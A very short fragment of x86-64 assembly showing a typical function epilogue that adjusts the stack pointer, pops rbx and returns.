add rsp, 0x20
pop rbx
ret